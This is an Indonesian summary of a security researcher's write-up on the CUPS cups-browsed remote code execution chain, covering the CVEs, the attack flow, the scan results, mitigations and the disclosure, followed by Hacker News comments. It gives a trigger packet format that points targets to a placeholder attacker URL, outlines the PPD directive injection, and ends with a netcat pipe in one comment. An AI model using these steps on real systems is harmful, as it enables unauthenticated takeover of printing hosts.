Menyerang Sistem UNIX melalui CUPS
(evilsocket.net)- Jika jalur penemuan printer otomatis CUPS berpadu dengan ketiadaan validasi atribut IPP, penyerang jarak jauh tanpa autentikasi dapat menyuntikkan konfigurasi printer berbahaya dan bahkan memicu eksekusi perintah arbitrer saat pencetakan dilakukan
- Titik awal serangan adalah perilaku
cups-browsedyang menerima paket dari sumber mana pun pada port UDP 631 dan mengirim permintaan IPPGet-Printer-Attributeske URL penyerang - Kerentanan ini terbagi menjadi CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, dan CVE-2024-47177, lalu berlanjut hingga alur pembuatan PPD di
libcupsfilters,libppd,cups-filters, serta eksekusifoomatic-rip - Cakupan dampaknya meliputi sebagian besar distribusi GNU/Linux, sebagian BSD, kemungkinan Oracle Solaris dan Chromium/ChromeOS; dalam pemindaian IPv4 publik, teramati callback dari ratusan ribu perangkat dan hingga 200 ribu–300 ribu klien simultan
- Secara praktis,
cups-browsedyang tidak diperlukan harus dinonaktifkan atau dihapus dan paket CUPS harus diperbarui; jika pembaruan sulit dilakukan, pertimbangkan pemblokiran UDP 631 dan, bila perlu, trafik DNS-SD
Inti rantai kerentanan
- Rantai ini dimulai dari fitur penemuan printer otomatis CUPS, lalu berlanjut ke pemrosesan atribut IPP, pembuatan berkas PPD, dan eksekusi filter
- Kerentanan utama saling terkait dalam empat tahap
- CVE-2024-47176:
cups-browsed2.0.1 ke bawah melakukan binding keUDP INADDR_ANY:631dan memercayai paket dari sumber mana pun, sehingga memicu permintaan IPPGet-Printer-Attributeske URL yang dikendalikan penyerang - CVE-2024-47076:
cfGetPrinterAttributes5dilibcupsfilters2.1b1 ke bawah meneruskan atribut yang diterima dari server IPP ke sistem CUPS tanpa validasi atau sanitasi - CVE-2024-47175:
ppdCreatePPDFromIPP2dilibppd2.1b1 ke bawah menulis atribut IPP ke berkas PPD sementara tanpa validasi atau sanitasi, sehingga memungkinkan penyisipan data yang dikendalikan penyerang - CVE-2024-47177:
foomatic-ripdicups-filters2.0.1 ke bawah memungkinkan eksekusi perintah arbitrer melalui parameterFoomaticRIPCommandLinepada PPD
- CVE-2024-47176:
Titik masuk serangan dan cakupan dampak
- Penyerang jarak jauh tanpa autentikasi dapat diam-diam mengubah URL IPP printer yang sudah ada menjadi URL berbahaya, atau membuat sistem memasang printer baru
- Eksekusi perintah yang sebenarnya terjadi saat pekerjaan cetak dimulai pada komputer tersebut
- Ada dua titik masuk
- WAN / internet publik: penyerang jarak jauh mengirim paket ke port
UDP 631, tanpa memerlukan autentikasi - LAN: penyerang lokal dapat memalsukan iklan zeroconf, mDNS, atau DNS-SD untuk mencapai RCE melalui jalur kode yang sama
- WAN / internet publik: penyerang jarak jauh mengirim paket ke port
- CUPS dan
cups-browseddipaketkan di berbagai sistem turunan UNIX- Sebagian besar distribusi GNU/Linux
- Sebagian BSD
- Kemungkinan Google Chromium / ChromeOS
- Oracle Solaris
- Dari hasil pemindaian seluruh rentang IPv4 internet publik beberapa kali sehari selama beberapa minggu, setelah paket UDP dikirim, ratusan ribu perangkat melakukan callback dan teramati puncak hingga 200 ribu–300 ribu klien simultan
Jalur yang dibuka oleh cups-browsed
- Saat menjalankan
netstat -anudi laptop Ubuntu, ditemukan port UDP yang mendengarkan pada0.0.0.0:631 - Hasil pemeriksaan
lsof -i :631menunjukkan bahwa TCP 631 digunakan olehcupsd, sedangkan UDP 631 digunakan olehcups-browsed - Pada
ps aux, prosescups-browsedterlihat berjalan sebagai root cups-browsedadalah bagian dari sistem CUPS dan berfungsi menemukan printer baru lalu menambahkannya secara otomatis ke sistem- Hasil pemeriksaan kode sumber menunjukkan layanan ini melakukan binding ke
INADDR_ANY:631 UDPdan mengharapkan paket UDP dalam formatHEX_NUMBER HEX_NUMBER TEXT_DATA - Dalam keadaan berkas konfigurasi default sebagian besar dikomentari, pembatasan akses pada praktiknya menjadi lemah
Masalah parsing dan bug tambahan
- Paket CUPS sendiri termasuk dalam oss-fuzz, tetapi
cups-browsedtampaknya tidak memiliki cakupan fuzzing - Saat target fuzzing berbasis AFL dibuat di sekitar
process_browse_data, 5 input memicu stack-buffer-overflow - Penyebabnya ditunjuk sebagai alur di mana dereferensi pointer terjadi sebelum kondisi terminasi diperiksa dalam dua loop
- Setelah itu, race condition dan kemungkinan DoS juga ditemukan pada titik penanganan lock
- Masalah-masalah ini telah dilaporkan kepada pengembang dan CERT, tetapi menurut peneliti belum diakui atau ditambal
Permintaan IPP dan injeksi PPD
found_cups_printermemperlakukan salah satu field teks yang diparsing dari paket UDP sebagai URL- URL dan data terkait ini melewati alur
examine_discovered_printer_record,create_remote_printer_entry, lalu berlanjut ke pemanggilancfGetPrinterAttributesdilibcupsfilters - Jika penyerang mengirim paket berbentuk
0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever,cups-browsedpada target akan terhubung ke URL penyerang - Saat terhubung, header User-Agent mencakup versi kernel dan arsitektur, dan pada sebagian permintaan juga dilaporkan nama pengguna target
- Internet Printing Protocol adalah protokol komunikasi antara klien dan printer atau server cetak, yang digunakan antara lain untuk mengecek status printer dan mengirim pekerjaan cetak
- Sistem target mengenali server penyerang sebagai printer dan mengirim permintaan
Get-Printer-Attributesyang dienkapsulasi di dalam HTTP - Saat merespons dengan atribut yang dapat dikendalikan menggunakan paket Python ippserver, printer palsu ditambahkan ke printer lokal tanpa pemberitahuan kepada pengguna
PPD dan jalur eksekusi foomatic-rip
- Log debug menunjukkan pembuatan antrean printer, pembuatan berkas PPD sementara, serta proses penggunaan dan pengeditan PPD
- Fungsi
create_queuemeneruskan atribut IPP ke APIppdCreatePPDFromIPP2miliklibppd ppdCreatePPDFromIPP2menulis atribut teks yang dikendalikan penyerang, sepertiprinter-make-and-model, ke berkas PPD tanpa validasi atau escaping- Berkas PostScript Printer Description adalah berkas teks yang menjelaskan fitur dan kemampuan printer, serta berperan dalam menentukan fungsi printer dan cara penggunaannya di CUPS
- Di antara berbagai direktif PPD,
cupsFilter2sebagai ekstensi CUPS dapat menjalankan berkas eksekusi di bawah/usr/lib/cups/filtersebagai filter saat pekerjaan cetak berlangsung foomatic-ripdiperlakukan sebagai filter yang dapat menjalankan perintah melalui direktifFoomaticRIPCommandLinepada PPD- Sebelumnya,
foomatic-filtersmemiliki perbaikan terkait CVE-2011-2964 dan CVE-2011-2697, tetapi dikonfirmasi bahwa perbaikan tersebut tidak di-port dalam proses integrasi CUPS - Dalam CVE-2024-35235 yang lebih baru, eksekusi perintah arbitrer melalui
FoomaticRIPCommandLinejuga disebutkan - Menurut penjelasan pihak pengembang CUPS, membatasi konten yang dapat diberikan ke
FoomaticRIPCommandLinesangat sulit dilakukan tanpa merusak driver yang sudah ada, dan ratusan model printer lama sebelum 2010 kemungkinan hanya bergantung pada Foomatic
Alur reproduksi RCE
- Rantai RCE terdiri dari tiga tahap
- Membuat sistem target terhubung ke server IPP berbahaya milik penyerang
- Mengembalikan string atribut IPP yang dikendalikan penyerang untuk menyisipkan direktif ke berkas PPD sementara
- Saat pekerjaan cetak dikirim ke printer palsu, direktif PPD dan perintah dieksekusi
- Dalam konfigurasi server IPP, eksekusi perintah disusun dengan menutup string PPD, menyisipkan baris baru, lalu memasukkan direktif
FoomaticRIPCommandLinedancupsFilter2 - Target demo adalah
Ubuntu 24.04.1 LTSyang telah sepenuhnya ditambal dancups-browsed 2.0.1, dan eksekusi perintah berhasil dicapai pada mesin penyerang - Alur ini berlaku ketika beberapa tahap pemrosesan di
cups-browsed,libcupsfilters,libppd, dancups-filterssaling berpadu
Mitigasi dan rekomendasi
- Jika
cups-browsedtidak diperlukan, disarankan untuk menonaktifkan dan menghapus layanan tersebut - Paket CUPS pada sistem harus diperbarui
- Jika tidak dapat memperbarui dan layanan tersebut diperlukan, trafik
UDP 631harus diblokir - Tergantung situasi, trafik DNS-SD juga dapat diblokir, tetapi ini mungkin sulit diterapkan di lingkungan yang menggunakan zeroconf
- Sebagai rekomendasi pribadi, peneliti menyatakan akan menghapus layanan, binary, dan library CUPS dari sistemnya sendiri serta tidak akan mencetak dari sistem UNIX
- Ia juga menambahkan bahwa listener zeroconf, Avahi, dan Bonjour akan dihapus
Proses publikasi dan pekerjaan lanjutan
- Risetnya sendiri memakan waktu beberapa hari, tetapi setelah advisory keamanan dibuka di repositori OpenPrinting
cups-browsedpada 5 September dan proses responsible disclosure dimulai, butuh 22 hari hingga publikasi - Diskusi terkait berlanjut menjadi advisory keamanan untuk
cups-browsed,libcupsfilters,libppd, dancups-filters - Riset memakan waktu 2 hari, exploit yang berfungsi terdiri dari 249 baris, dan proses publikasinya melibatkan perdebatan, email, pesan, serta lebih dari 100 halaman teks
- Terkait kontroversi skor CVSS 9.9, dijelaskan bahwa skor awal 9.9 adalah nilai yang diperkirakan oleh seorang engineer RedHat dalam laporan VINCE dan ditinjau oleh engineer lain
- Peneliti menilai skor awal 9.9 muncul karena RCE mudah dieksploitasi dan paketnya hadir secara luas, tetapi menambahkan bahwa dari sisi dampak ia sendiri tidak akan mengklasifikasikannya sebagai 9.9
- Ia menyatakan bahwa laporan markdown lengkap dan exploit yang hanya dibagikan kepada CERT VINCE telah bocor
exploit.pyawalnya hanya mengirim paket UDP dan membuat server IPP berbahaya, tetapi kemudian ditambahkan fungsi iklan zeroconf sehingga menjadi sebuah tool- Setelah itu, tool tersebut ditulis ulang dalam Go dan diintegrasikan ke bettercap, dengan penambahan kemampuan untuk secara transparan menyamar sebagai layanan yang diiklankan lewat zeroconf, Bonjour, dan Avahi di LAN, serta pemrosesan terkait IPP
- Artikel berikutnya direncanakan membahas serangan terhadap Apple macOS menggunakan modul bettercap yang belum dipublikasikan, tetapi jadwalnya belum pasti karena prosedur publikasi lain
1 komentar
Komentar Hacker News
Saya kira ini lelucon. Isinya mengatakan bahwa “penyerang jarak jauh tanpa autentikasi dapat mengubah URL IPP printer yang sudah ada menjadi URL berbahaya atau memasang yang baru, sehingga memungkinkan eksekusi perintah arbitrer saat pekerjaan cetak dimulai di komputer itu”, tetapi Heartbleed saja 7,5, jadi rasanya mustahil ini 9,9
Tweet aslinya menyebut “eksekusi kode jarak jauh tanpa autentikasi terhadap semua sistem GNU/Linux dan sebagainya”, tetapi kenyataannya di banyak distro CUPS hanya bind ke loopback atau bahkan tidak terpasang sama sekali
Ia juga mengatakan telah memindai seluruh IPv4 publik beberapa kali sehari selama beberapa minggu dan menerima callback dari ratusan ribu perangkat. Kalau pemahaman saya benar, itu berarti ada sekitar 300 ribu instance CUPS terbuka di seluruh IPv4 publik, dan agar eksekusi kode jarak jauh terjadi, server CUPS tersebut harus menerima pekerjaan cetak, jadi sepertinya sebagian besar tidak akan begitu
cups-browseditu sendiri seharusnya dihapus, dan ekosistem Linux perlu membahas masa depan CUPS secara seriusBug-bugnya terlihat mengejutkan sederhana, dan pada akhirnya ini isu keamanan yang cukup serius, tetapi respons upstream-nya bukan level yang layak diharapkan dari paket desktop Linux yang terpasang secara default
Meski begitu, ini jelas bukan kepanikan CVSS 9,9 yang sampai menghentikan dunia
Tepatnya, eksekusi ditunda sampai pengguna berikutnya mencetak ke printernya menggunakan pengaturan printer yang telah diubah penyerang, dan kerentanannya ada di cupsd-browser, bukan cupsd
Mungkin ada masalah dengan sikap penulisnya, tetapi kerentanan ini sendiri memang benar-benar besar
Orang yang mengekspos CUPS ke internet sudah berada pada tingkat ketidakpedulian yang tidak bisa dijangkau CVE
Tentu saja untuk memicunya pengguna harus mencetak sesuatu, dan secara pribadi rasanya saya belum pernah mencetak apa pun dari Linux, tetapi klaim menerima callback dari ratusan ribu mesin Linux terdengar masuk akal
Setidaknya, menurut saya laptop Linux tidak seharusnya menjadi sangat rentan terhadap semua perangkat lain di tempat seperti Wi-Fi bandara
Tergantung bagaimana menafsirkan metrik Scope di CVSSv3, angka yang lebih tepat tampaknya 8,8 atau 9,6
Ringkasnya, pada beberapa varian desktop Linux, CUPS yang terekspos ke LAN berjalan di 0.0.0.0, berjalan sebagai root, dan rentan terhadap eksekusi kode jarak jauh tanpa autentikasi. Pada sebagian besar Linux berorientasi server seperti Ubuntu Server atau CentOS, ini bukan layanan default, tetapi pada kebanyakan Linux desktop tampaknya dimulai secara default
Untuk memicu eksekusi kode jarak jauh, pengguna mesin Linux yang rentan harus mencetak dokumen setelah eksploitasi dilakukan
evilsocket mengatakan menerima ratusan ribu callback, dan meskipun kebanyakan dari kita hampir tidak pernah mencetak dari Linux, dampak sebesar itu bisa cukup untuk membuat botnet besar
Saya sempat sedikit panik setelah mendengar berita karena membiarkan cupsd terbuka ke internet, tetapi seperti judul di sini, isu ini juga ada bagian yang salah disampaikan. Masalahnya bukan cupsd inti, melainkan cups-browsed, paket/komponen terpisah
Gentoo Linux yang saya pakai untuk server menyediakan cups-browsed sebagai paket terpisah, dan karena saya tidak memasangnya, saya tidak terdampak. Sebagian besar pengguna CUPS yang tidak memasang paket tambahan ini juga tidak terdampak bug ini
Mengatakan semua sistem yang menjalankan CUPS bisa diretas berarti salah menggambarkan skalanya
Di rumah saya hanya mematikan layanannya, tetapi cukup menyebalkan melihat semakin banyak software keluar dari cakupannya dan membuat komponen yang seharusnya opsional seolah-olah wajib
Contoh serupa adalah avahi-daemon. Kalau mencoba menghapusnya dari Debian/Ubuntu desktop, besar kemungkinan software lain yang membuat kita heran kenapa avahi harus menjadi dependensi kuat juga ikut terhapus
Bagian yang mengatakan bahwa “terlalu banyak hal diharapkan dari peneliti dan dianggap wajar karena triager yang bersikap seolah peneliti keamanan seperti Anda harus ‘membuktikan bahwa mereka layak didengar’” bisa dipahami, tetapi kenyataannya memang menyedihkan
Untuk setiap laporan yang diteliti dengan baik seperti ini, masuk 57 laporan spam berkualitas rendah yang mencoba memeras imbalan bug bounty atau mencantumkan penemuan CVE di CV. Terutama dengan meningkatnya penggunaan LLM, spam seperti itu mudah menipu
Situasinya menyedihkan, tetapi sulit juga sepenuhnya menyalahkan pengembang karena bersikap skeptis
0: https://daniel.haxx.se/blog/2024/01/02/the-i-in-llm-stands-f...
Singkatnya, cups-browsed mendengarkan port UDP 631 dan dapat memasang printer secara otomatis tanpa konfirmasi pengguna
Penyerang memanfaatkan “fitur” ini untuk memasang printer palsu, tanpa konfirmasi pengguna, yang memiliki driver kustom yang dapat diunduh dari host arbitrer, lalu menentukan perintah yang akan dijalankan saat pekerjaan cetak dikirim
Jika pengguna mencetak sesuatu ke printer palsu itu, perintah tersebut akan dijalankan
Dalam kasus ini, tampaknya distro menyertakan cups-browsed sebagai fitur, tetapi saya selalu merasa buruk bahwa Ubuntu/Debian, dan mungkin semua distro berbasis deb, secara otomatis menyalakan hampir semua layanan saat instalasi
Artinya, hanya karena memasang satu paket, layanan jaringan lain yang terpasang sebagai dependensi bisa tanpa sengaja terbuka
exim4 sudah diketahui, tetapi agar adil, default-nya hanya mendengarkan localhost sehingga mungkin bukan masalah besar. Saya baru saja memasang cups-browsed di satu mesin Debian, dan dua layanan (cups-browsed dan avahi) yang mendengarkan di 0.0.0.0 ikut berjalan
Ini tidak terjadi pada distro keluarga Arch/Gentoo dan CentOS
Skor CVSS asli yang diposting di Twitter menyatakan bahwa tidak diperlukan interaksi pengguna. Namun jika membaca rantai eksekusi kode jarak jauh di halaman tersebut, tertulis “menunggu pekerjaan cetak dikirim ke printer palsu agar direktif PPD dan perintah terkait dijalankan”
Sepertinya jika Alice tidak menekan tombol cetak, pekerjaan cetak tidak akan terpicu; saya penasaran apakah ada yang saya lewatkan. Ini bukan karena saya meragukan evilsocket, melainkan untuk memastikan pemahaman saya
Setiap kali harus mencetak sesuatu di MacOS, saya kembali teringat betapa saya membenci printer dan perangkat lunak terkait printer. Saya sudah menggunakan komputer selama 40 tahun, dan sungguh, setiap 10 tahun printer menjadi makin merepotkan
pdf2ps - | nc 9001